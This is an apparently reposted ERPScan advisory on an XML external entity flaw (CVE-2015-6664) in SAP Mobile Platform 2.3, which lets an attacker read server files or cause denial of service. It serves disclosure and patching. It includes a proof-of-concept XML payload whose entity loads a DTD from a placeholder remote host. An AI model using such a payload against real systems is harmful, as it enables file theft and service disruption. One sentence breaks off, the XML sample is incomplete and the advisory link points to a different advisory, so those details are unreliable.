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SAP Mobile Platform 2.3 XXE Injection

SAP Mobile Platform 2.3 XXE Injection
Posted Nov 23, 2015
Authored by Vahagn Vardanyan

SAP Mobile Platform version 2.3 suffers from an XML external entity injection vulnerability.

tags | exploit, xxe
advisories | CVE-2015-6664
SHA-256 | 763ac979871c176d5a9e6b1f185a1e6109b4d7b5f4517066de0a8a2a92f8f153

SAP Mobile Platform 2.3 XXE Injection

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Application:                SAP Mobile Platform 2.3
Versions Affected: SAP Mobile Platform 2.3, probably others
Vendor URL: http://SAP.com
Bugs: XML External Entity
Send: 25.02.2015
Reported: 25.02.2015
Vendor response: 25.02.2015
Date of Public Advisory: 11.08.2015
Reference: SAP Security Note 2152227
Author: Vahagn Vardanyan (ERPScan)


Title: SAP Mobile Platform 2.3
Advisory ID: [ERPSCAN-15-020]
Risk: Hight
Advisory URL: http://erpscan.com/advisories/erpscan-14-020-sap-netweaver-management-console-gsaop-partial-http-requests-dos/
Date published: 11.08.2015
Vendors contacted: SAP

Class: XML External Entity [CWE-611]
Impact: information disclosure, denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-6664
CVSS Information
CVSS Base Score: 4.9 / 10
CVSS Base Vector:
AV : Access Vector (Related exploit range) Network (N)
AC : Access Complexity (Required attack complexity) Medium (M)
Au : Authentication (Level of authentication needed to exploit) Single (S)
C : Impact to Confidentiality Partial (P)
I : Impact to Integrity None (N)
A : Impact to Availability Partial (P)

1) An attacker can read an arbitrary file on the server by sending a
correct XML request with a crafted DTD to read the reply from the
2) An attacker can perform a DoS attack (for example, an XML Entity
expansion attack).
3) An SMB Relay attack is a type of Man-in-the-Middle attack where an
attacker asks a victim to authenticate into a machine controlled by
the attacker, then relays the credentials to the target. The attacker
forwards the authentication information both ways and gets access.

SAP Mobile Platform 2.3
Other versions are probably affected too, but they were not checked.

To correct this vulnerability, install SAP Security Note 2152227

Vahagn Vardanyan (ERPScan)

The vulnerability affects the functionality used by an administrator
to import applications.
An attacker can replace ApplicationDefinition.xml file with a
malicious XML code.


<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip_address">
xmlns="http://www.sybase.com/sup/applicationDefinition" id="SMP01"
type="ObjectAPI" enabled="true" displayName="SMP01">
<description>Default application ID</description>
<domain name="default">
<package name="smp01:1.0" internalName="d1_smp01.1_0"/>
<template name="SMP01_admin"/>

Send: 25.02.2015
Reported: 25.02.2015
Vendor response: 25.02.2015
Date of Public Advisory: 11.08.2015


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